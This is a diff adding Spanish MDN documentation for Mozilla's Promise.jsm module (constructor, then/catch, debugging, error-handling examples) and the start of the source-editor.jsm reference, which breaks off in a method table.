+ <p>The rejection reason for the returned promise. Although the reason can be <code>undefined</code>, it is generally an <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="/en-US/docs/JavaScript/Reference/Global_Objects/Error"><code>Error</code></a> object, like in exception handling.</p>
+
+ <div class="note"><strong>Note:</strong> This argument should not be a promise. Specifying a rejected promise would make the rejection reason equal to the rejected promise itself, and not its rejection reason.</div>
+ </dd>
+</dl>
+
+<h6 id="Return_value_3">Return value</h6>
+
+<p>A rejected promise.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See the <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Examples">examples</a> page.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise">Promise</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred">Deferred</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Examples">Examples</a></li>
+ <li><a class="internal" href="/en-US/docs/JavaScript_code_modules/Using" title="en-US/docs/JavaScript code modules/Using JavaScript code modules">Using JavaScript code modules</a></li>
+ <li><a class="internal" href="/en-US/docs/Mozilla/JavaScript_code_modules" title="en-US/docs/Mozilla/JavaScript code modules">JavaScript code modules</a></li>
+ <li><a class="internal" href="/en-US/docs/Components.utils.import" title="en-US/docs/Components.utils.import"><code>Components.utils.import</code></a></li>
+</ul>
diff --git a/files/es/mozilla/javascript_code_modules/promise.jsm/promise/index.html b/files/es/mozilla/javascript_code_modules/promise.jsm/promise/index.html
new file mode 100644
index 0000000000..d92d392972
--- /dev/null
+++ b/files/es/mozilla/javascript_code_modules/promise.jsm/promise/index.html
@@ -0,0 +1,218 @@
+---
+title: Promise
+slug: Mozilla/JavaScript_code_modules/Promise.jsm/Promise
+tags:
+  - Firefox
+  - Módulos
+  - Promise
+  - Promise.jsm
+  - Referencia
+translation_of: Mozilla/JavaScript_code_modules/Promise.jsm/Promise
+---
+<p><strong>Un objeto <code>Promise</code>  representa un valor que puede no estar disponible aún.</strong></p>
+
+<p>Una referencia a un <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> existente puede ser recibida por diferentes medios, por ejemplo como el valor de retorno de una llamada a una API asíncrona. Una vez que tenga una referencia al objeto <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>, puede llamar a su método <a href="#then" title="#then()"><code>then()</code></a> para ejecutar una acción cuando el valor esté disponible o cuando ocurra un error.</p>
+
+<p>Los objetos <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> también pueden ser creados usando el constructor <a href="#constructor" title="#Constructor"><code>new Promise()</code></a>. No necesita importar el módulo <code>Promise.jsm</code> para usar un objeto <code>Promise</code> del que ya se tiene una referencia.</p>
+
+<p>Internamente, <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> puede encontrarse en uno de tres estados:</p>
+
+<ul>
+ <li><strong>Pending</strong>, cuando el valor final no está disponible aún. Este es el único estado que puede cambiar a uno de los otros dos estados.</li>
+ <li><strong>Fulfilled</strong>, cuando y si el valor final esté disponible. Un valor <em>fulfillment</em> viene asociado permanentemente con <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>. Este puede ser cualquiera, incluyendo <code>undefined</code>.</li>
+ <li><strong>Rejected</strong>, si un error impidió que el valor final se determine. Una valor <em>rejection</em> viene asociado permanentemente con <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>. Este puede ser cualquier valor, incluyendo <code style="font-style: normal;">undefined</code>, aunque por lo general es un objeto <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="/en-US/docs/JavaScript/Reference/Global_Objects/Error"><code>Error</code></a>, como en el manejo de excepciones.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> siempre debería controlar, enviar o reportar errores (rejection reasons). Si ve el mensaje "<strong>A promise chain failed to handle a rejection</strong>", es posible que haya algo que corregir en el código. Vea <a href="#gestion-errores" title="#Handling_errors_and_common_pitfalls">manejo de errores y problemas comunes</a> a continuación.</p>
+</div>
+
+<h2 id="Convenciones_de_la_documentación" style="line-height: 30px; font-size: 2.14285714285714rem;">Convenciones de la documentación</h2>
+
+<p>En la documentación, el tipo de valor <em>fulfillment</em> es especificado normalmente entre corchetes angulados. Por ejemplo, la función <code><a href="/en-US/docs/JavaScript_OS.File/OS.File_for_the_main_thread#OS.File.exists()" title="/en-US/docs/JavaScript_OS.File/OS.File_for_the_main_thread#OS.File.exists()">OS.File.exists</a></code> retorna un objeto <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> que eventualmente cumpla con un boolean:</p>
+
+<pre style="font-size: 14px;">Promise&lt;boolean&gt; exists(string path);
+</pre>
+
+<p>El motivo de rechazo (<em>rejection reason</em>) podrá especificarse por separado en la documentación de la función, y se considera que es un objeto <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="/en-US/docs/JavaScript/Reference/Global_Objects/Error">Error</a></code> a menos que se especifique lo contrario.</p>
+
+<h2 id="Resumen_del_método" style="line-height: 30px; font-size: 2.14285714285714rem;">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>Promise <a href="#then">then</a>([opcional] <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a> onFulfill, [</code><span style="font-family: consolas,monaco,andale mono,monospace;">opcional</span><code>] <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a> onReject</code><code>);</code></td>
+  </tr>
+  <tr>
+   <td><code>Promise <a href="#catch">catch</a>([</code><span style="font-family: consolas,monaco,andale mono,monospace;">opcional</span><code>] <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a> onReject);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor" style="line-height: 30px; font-size: 2.14285714285714rem;"><a id="constructor" name="constructor">Constructor</a></h2>
+
+<p>Crea un nuevo objeto <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>, inicialmente con estado pendiente (<em>pending</em>) y proporciona referencias a las funciones de resolución que se puedan utilizar para cambiar su estado.</p>
+
+<pre style="font-size: 14px;">new Promise(executor);
+</pre>
+
+<h3 id="Parámetros" style="line-height: 24px; font-size: 1.71428571428571rem;">Parámetros</h3>
+
+<dl>
+ <dt><code>executor</code></dt>
+ <dd>
+ <p>Esta función se invoca inmediatamente con la resolución de funciones como sus dos argumentos:</p>
+
+ <pre>executor(resolve, reject);
+</pre>
+
+ <p>El constructor no retornará valor hasta que el <code>executor</code> haya terminado. Las funciones de resolución pueden ser usadas en cualquier momento, antes o despues que <code>executor</code> haya terminado, para controlar el estado final de P<code>romise</code>. Si <span style="font-family: consolas,monaco,andale mono,monospace;">executor </span>lanza una excepción, su valor será pasado a la función de resolución <code>reject</code> .</p>
+ </dd>
+</dl>
+
+<h3 id="Funciones_de_resolución">Funciones de resolución</h3>
+
+<h4 id="resolve()">resolve()</h4>
+
+<p>Cumple con el <code>Promise</code> asociado con el valor especificado, o propaga el estado de un objeto <code>Promise</code> existente. Si el <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> asociado ya ha sido resuelto, ya sea a un valor, un rechazo, o de otro <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>, este método no hace nada.</p>
+
+<div class="note"><strong>Nota:</strong> llamar a este método con un Promise pendiente con el argumento <code>aValue</code>, y luego llamándolo con otro valor antes de que Promise se haya cumplido (fulfilled) o rechazado (rejected), no tendrá efecto la segunda vez, ya que el objeto Promise asociado ya está resuelto al objeto Promise pendiente.</div>
+
+<pre>void resolve(
+  aValue
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aValue</code> <span class="inlineIndicator optional optionalInline">Opcional</span></dt>
+ <dd>Si este valor no es un <code>Promise</code>, incluyendo <code>undefined</code>, se convierte en el valor de cumplimiento del <code>Promise</code> asociado. Si este valor es un objeto <code>Promise</code>, el Promise asociado será resuelto con el promise pasado, y seguirá el estado como la promesa proporcionada (incluyendo cualquier transición futura).</dd>
+</dl>
+
+<h4 id="reject()">reject()</h4>
+
+<p>Rechaza el <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> asociada con la razón especificada. Si el <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span> ya se ha resuelto, ya sea a un valor, un rechazo, o de otro <span style="font-family: consolas,monaco,andale mono,monospace;">Promise</span>, este método no hace nada.</p>
+
+<pre>void reject(
+  aReason
+);
+</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aReason</code> <span class="inlineIndicator optional optionalInline">Opcional</span></dt>
+ <dd>
+ <p>El motivo de rechazo de la promesa asociada. Aunque la razón puede ser <code>undefined</code>, por lo general es un objeto de <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="/en-US/docs/JavaScript/Reference/Global_Objects/Error"><code>Error</code></a>, como en el manejo de excepciones.</p>
+
+ <div class="note"><strong>Nota:</strong> este argumento no debería ser un Promise. Especificar un Promise rechazado haría el motivo de rechazo igual al Promise rechazado en sí, y no a su razón de rechazo.</div>
+ </dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<h3 id="then()"><a id="then" name="then">then()</a></h3>
+
+<p>Llama a una de las funciones previstas tan pronto como esta Promise se haya, bien cumplido, o bien rechazado.  Se retorna un nuevo promise, cuyo estado evoluciona dependiendo del promise y la funcion de devolución de llamada <em>(callbacks)</em> proporcionados.</p>
+
+<p>La devolución de llamada apropiada siempre se invoca después de devolver este método, incluso si esta Promise se ha cumplido o rechazado. Pude lamar al método <code>then()</code> muchas veces para el mismo Promise, y las funciones de devolución de llamada <em>(callbacks)</em> serán invocadas en el mismo orden en el cual fueron registradas.</p>
+
+<div class="warning">
+<p><strong>Advertencia: </strong>si la funcion de llamada <code>onFulfill</code> lanza una axcepción, <code>onReject</code> no se invocará y la excepción no será capturada, se muestra en la consola (verá una error de cadena promesa fallida). Puede registrar una función de llamada de rechazo en el promise retornado en su lugar (usando catch() o then()), para procesar cualquier excepción ocurrida en cualquiera de las devoluciones de llamada registradas para este promise.</p>
+</div>
+
+<div class="note"><strong>Nota:</strong> cuando llama al método <code>then()</code> multiples veces para el mismo promise, las funciones de devolución de llamada (callbacks) son siempre ejecutadas inmediatamente. Por ejemplo, si una acepción ocurre en un callback, no afecta al callback posterior. El comportamiento del callback sólo afecta al promise retornado por el método <code>then()</code> con el cual el callback fue registrado, esto es en realidad un promise diferente para cada invocación del método.</div>
+
+<pre>Promise then(
+  Function onFulfill,
+  Function onReject
+);
+</pre>
+
+<h6 id="Parámetros_2">Parámetros</h6>
+
+<dl>
+ <dt><code>onFulfill</code> {{optional_inline()}}</dt>
+ <dd>Si el promise está cumplido <em>(fulfilled)</em>, esta funciń es invokada con el valor de cumplimiento del promise como su único argumento, y elo resultado de la función determina el estado del nuevo promise retornado por el método <code>then()</code>. En caso este parámetro (usualmente <code>null</code>), el nuevo promise retornado por el método <code>then()</code> es cumplido <em>(fulfilled)</em> con el mismo valor del promise original.</dd>
+ <dt><code>onReject</code> {{optional_inline()}}</dt>
+ <dd>
+ <p>Si el promise es rechazado <em>(rejected)</em>, esta función es invocada con con el motivo de rechazo del promise como su único argumento, y el resultado del la función determina el nuevo estado del promise retornado por el método<a href="#then"> then()</a>. En caso este parametro no es un función (Por lo general <code>undefined</code>), el nuevo promise retornado por el método <a href="#then">then()</a> es rechazado <em>(rejected)</em> con la misma razón que el promise original.</p>
+ </dd>
+</dl>
+
+<h6 id="Valor_de_retorno">Valor de retorno</h6>
+
+<p>Un nuevo promise que es initialmente pendiente, luego asume un estado que depende del resultado de la función de devolución de llamada <em>(callback)</em>:</p>
+
+<ul>
+ <li>Si el callback retorna un valor que nos es un promise, incluyendo <code>undefined</code>, el nuevo promise es cumplido <em>(fulfilled)</em> con este valor de cumplimiento, incluso si el promise original fue rechazado <em>(rejected)</em>.</li>
+ <li>Si el callback lanza una excepción, el nuevo promise es rechazado <em>(rejected) </em>con la excepción como motivo de rechazo, incluso si el promise original fue cumplida <em>(fulfilled)</em>.</li>
+ <li>Si el callback retorna un promise, el nuevo promise eventualmente asumirá el mismo estado del promise retornado.</li>
+</ul>
+
+<h3 id="catch()"><a id="catch" name="catch">catch()</a></h3>
+
+<p>Equivalente a <a href="#then">then()</a> con un valor <code>undefined</code> para el parámetro <code>onFulfill</code>. Si encadena <code>then( onFulfill ).catch( onReject )</code>, las excepciones lanzadas en <code>onFulfill</code> serán capturadas y pasadas a <code>onReject</code>, que no es el caso cuando pasa <code>onReject</code> a <a href="#then">then()</a>.</p>
+
+<pre>Promise catch(
+  Function onReject
+);
+</pre>
+
+<p>Las siguientes llamadas son por lo tanto idénticas:</p>
+
+<pre>p.then(undefined, logError);
+p.catch(logError);
+</pre>
+
+<h2 id="Depuración">Depuración</h2>
+
+<p>Por diseño, el estado instantáneo y el valor de un Promise no pueden ser inspeccionados de forma sincrónica, sin llamar al método <code><a href="#then" title="#then()">then()</a></code>.</p>
+
+<p>PAra ayudar con la depuración,  sólo cuando inspeccione un objeto <code>Promise</code> manualmente,  puede ver información con propiedades especialesque son accesibles desde código (esto, actualmente, está implementado se implementa mediante la aleatorización del nombre de la propiedad, por la falta de un lenguaje más sofisticado o soporte depurador).</p>
+
+<p>Estas propiedades inspeccionables de código inaccesible son:</p>
+
+<ul>
+ <li><code><strong><span>{</span>{privado:status}}</strong></code>: <strong>0</strong> para pendiente, <strong>1</strong> para cumplido, o <strong>2</strong> para rechazado.</li>
+ <li><code><strong><span>{</span>{</strong></code><strong style="font-family: consolas,monaco,andale mono,monospace;">privado</strong><code><strong>:value}}</strong></code>: Valor de cumplimiento o razon de rechazo, sólo para Promises cumplidos o rechazados.</li>
+ <li><code><strong><span>{</span>{</strong></code><strong style="font-family: consolas,monaco,andale mono,monospace;">privado</strong><code><strong>:handlers}}</strong></code>: Array de objetos de las referencias a funciones registradas por el método <code><a href="#then" title="#then()">then()</a></code>, sólo para Promises pendientes.</li>
+</ul>
+
+<p style="text-align: center;"><img alt="Promise properties are visible in the debugger." src="https://mdn.mozillademos.org/files/6471/Promise-Debug-1.png" style="border-style: solid; border-width: 2px; height: 482px; margin-bottom: 15px; margin-top: 15px; width: 403px;"><img alt="Promise handlers can be watched from the Console." src="https://mdn.mozillademos.org/files/6473/Promise-Debug-2.png" style="border-style: solid; border-width: 2px; height: 161px; width: 977px;"></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver la página de <a href="/Mozilla/JavaScript_code_modules/Promise.jsm/Examples">ejemplos</a>.</p>
+
+<h2 id="Gestión_de_errores_y_problemas_comunes"><a name="gestion-errores">Gestión de errores y problemas comunes</a></h2>
+
+<p>Debe reportar errores no controlados, a menos que de el relevo de Promise a una función de llamada u otra ruta de código que controlará el error.</p>
+
+<pre class="brush: js">// ###### ERROR: Silenciando cualquier rechazo notificado por "OS.File.Exists".
+OS.File.exists(path).then(exists =&gt; { if (exists) myRead(path); });
+
+// ###### ERROR: Silenciando cualquier excepción planteado por "myRead".
+OS.File.exists(path).then(exists =&gt; { if (exists) myRead(path); }, Components.utils.reportError);
+
+// CORRECTO (por ejemplo, podria reportar la excepción "myRead ino está definido")
+OS.File.exists(path).then(exists =&gt; { if (exists) myRead(path); })
+                    .catch(Components.utils.reportError);
+
+// CORRECTO (La función retorna un Promise, y el caller se encargará del rechazo)
+function myReadIfExists(path)
+{
+  return OS.File.exists(path).then(exists =&gt; { if (exists) myRead(path); });
+}</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm">Promise.jsm</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred" title="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Deferred">Deferred</a></li>
+ <li><a href="/Mozilla/JavaScript_code_modules/Promise.jsm/Examples">Examples</a></li>
+ <li><a href="/en-US/docs/JavaScript_OS.File" title="/en-US/docs/JavaScript_OS.File">JavaScript OS.File</a></li>
+ <li><a href="http://kryogenix.org/days/2013/12/12/promises-promises">Promises, Promises</a>: a useful simple explanation by Stuart Langridge</li>
+ <li><a href="http://dom.spec.whatwg.org/#promises">WHATWG Living Standard</a></li>
+</ul>
diff --git a/files/es/mozilla/javascript_code_modules/source-editor.jsm/index.html b/files/es/mozilla/javascript_code_modules/source-editor.jsm/index.html
new file mode 100644
index 0000000000..1ec7e5477f
--- /dev/null
+++ b/files/es/mozilla/javascript_code_modules/source-editor.jsm/index.html
@@ -0,0 +1,1549 @@
+---
+title: source-editor.jsm
+slug: Mozilla/JavaScript_code_modules/source-editor.jsm
+translation_of: Mozilla/JavaScript_code_modules/source-editor.jsm
+---
+<div class="warning">
+<p>This component has been removed from the platform in Firefox 28.</p>
+</div>
+
+<p>{{ fx_minversion_header("11.0") }}</p>
+
+<p>The <code>source-editor.jsm</code> JavaScript code module implements an editor specifically tailored for editing source code; its primary purpose is to provide support for web developer tools to display and edit web site code. The editor provided is <a class="external" href="http://www.eclipse.org/orion" title="http://www.eclipse.org/orion">Eclipse Orion</a>.</p>
+
+<p>To use it, you first need to import the code module into your JavaScript scope:</p>
+
+<pre class="eval"><span class="nowiki">Components.utils.import("resource:///modules/source-editor.jsm");</span>
+</pre>
+
+<div class="warning"><strong>Warning:</strong> Much of the functionality of the source editor is implemented by a secondary code module (by default, <code>source-editor-orion.jsm</code>). You <strong>must not</strong> directly import that code module; it is essentially an implementation detail. Its functionality is all exposed through <code>source-editor.jsm</code>.</div>
+
+<h2 id="Method_overview">Method overview</h2>
+
+<h3 id="Initialization_and_destruction">Initialization and destruction</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#destroy()" title="en/JavaScript_code_modules/source-editor.jsm#destroy()">destroy</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#init()" title="en/JavaScript_code_modules/source-editor.jsm#init()">init</a>({{ domxref("Element") }} aElement, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a> aConfig, <a href="/en/JavaScript/Reference/Global_Objects/Function" title="/en/JavaScript/Reference/Global_Objects/Function">Function</a> aCallback);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Search_operations">Search operations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a> <a href="/en/JavaScript_code_modules/source-editor.jsm#find()" title="en/JavaScript_code_modules/source-editor.jsm#find()">find</a>(<a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a> aString, [optional] <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a> options);</code> {{ fx_minversion_inline("12.0") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a> <a href="/en/JavaScript_code_modules/source-editor.jsm#findNext()" title="en/JavaScript_code_modules/source-editor.jsm#findNext()">findNext</a>(Boolean aWrap);</code> {{ fx_minversion_inline("12.0") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a> <a href="/en/JavaScript_code_modules/source-editor.jsm#findPrevious()" title="en/JavaScript_code_modules/source-editor.jsm#findPrevious()">findPrevious</a>(Boolean aWrap);</code> {{ fx_minversion_inline("12.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Event_management">Event management</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#addEventListener()" title="en/JavaScript_code_modules/source-editor.jsm#addEventListener()">addEventListener</a>(<a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a> aEventType, <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global_Objects/Function">Function</a> aCallback);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#removeEventListener()" title="en/JavaScript_code_modules/source-editor.jsm#removeEventListener()">removeEventListener</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> aEventType, </code><code><a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global_Objects/Function">Function</a></code><code> aCallback);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Undo_stack_operations">Undo stack operations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#canRedo()" title="en/JavaScript_code_modules/source-editor.jsm#canRedo()">canRedo</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#canUndo()" title="en/JavaScript_code_modules/source-editor.jsm#canUndo()">canUndo</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#endCompoundChange()" title="en/JavaScript_code_modules/source-editor.jsm#endCompoundChange()">endCompoundChange</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#redo()" title="en/JavaScript_code_modules/source-editor.jsm#redo()">redo</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#resetUndo()" title="en/JavaScript_code_modules/source-editor.jsm#resetUndo()">resetUndo</a>();</code> {{ gecko_minversion_inline("12.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#startCompoundChange()" title="en/JavaScript_code_modules/source-editor.jsm#startCompoundChange()">startCompoundChange</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#undo()" title="en/JavaScript_code_modules/source-editor.jsm#undo()">undo</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Display_management_operations">Display management operations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#focus()" title="en/JavaScript_code_modules/source-editor.jsm#focus()">focus</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getTopIndex()" title="en/JavaScript_code_modules/source-editor.jsm#getTopIndex()">getTopIndex</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#hasFocus()" title="en/JavaScript_code_modules/source-editor.jsm#hasFocus()">hasFocus</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setTopIndex()" title="en/JavaScript_code_modules/source-editor.jsm#setTopIndex()">setTopIndex</a>(<a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a> aTopIndex);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Content_management_operations">Content management operations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getCharCount()" title="en/JavaScript_code_modules/source-editor.jsm#getCharCount()">getCharCount</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getIndentationString()" title="en/JavaScript_code_modules/source-editor.jsm#getIndentationString()">getIndentationString</a>();</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getLineDelimiter()" title="en/JavaScript_code_modules/source-editor.jsm#getLineDelimiter()">getLineDelimiter</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getLineCount()" title="en/JavaScript_code_modules/source-editor.jsm#getLineCount()">getLineCount</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getLineEnd()" title="en/JavaScript_code_modules/source-editor.jsm#getLineEnd()">getLineEnd</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> </code><code>aLineIndex</code><code>, Boolean aIncludeDelimiter</code><code>);</code> {{ fx_minversion_inline("14") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getLineStart()" title="en/JavaScript_code_modules/source-editor.jsm#getLineStart()">getLineStart</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> </code><code>aLineIndex);</code> {{ fx_minversion_inline("14") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getMode()" title="en/JavaScript_code_modules/source-editor.jsm#getMode()">getMode</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getText()" title="en/JavaScript_code_modules/source-editor.jsm#getText()">getText</a>([optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aStart, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aEnd);</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getSelectedText()" title="en/JavaScript_code_modules/source-editor.jsm#getSelectedText()">getSelectedText</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setMode()" title="en/JavaScript_code_modules/source-editor.jsm#setMode()">setMode</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> aMode);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setText()" title="en/JavaScript_code_modules/source-editor.jsm#setText()">setText</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a> </code><code>aText, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aStart, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aEnd);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Selection_operations">Selection operations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#dropSelection()" title="en/JavaScript_code_modules/source-editor.jsm#dropSelection()">dropSelection</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getCaretOffset()" title="en/JavaScript_code_modules/source-editor.jsm#getCaretOffset()">getCaretOffset</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getCaretPosition()" title="en/JavaScript_code_modules/source-editor.jsm#getCaretPosition()">getCaretPosition</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a></code><code> <a href="/en/JavaScript_code_modules/source-editor.jsm#getSelection()" title="document.getSelection">getSelection</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setCaretOffset()" title="IA2 Interfaces">setCaretOffset</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aOffset);</code></td>
+  </tr>
+  <tr>
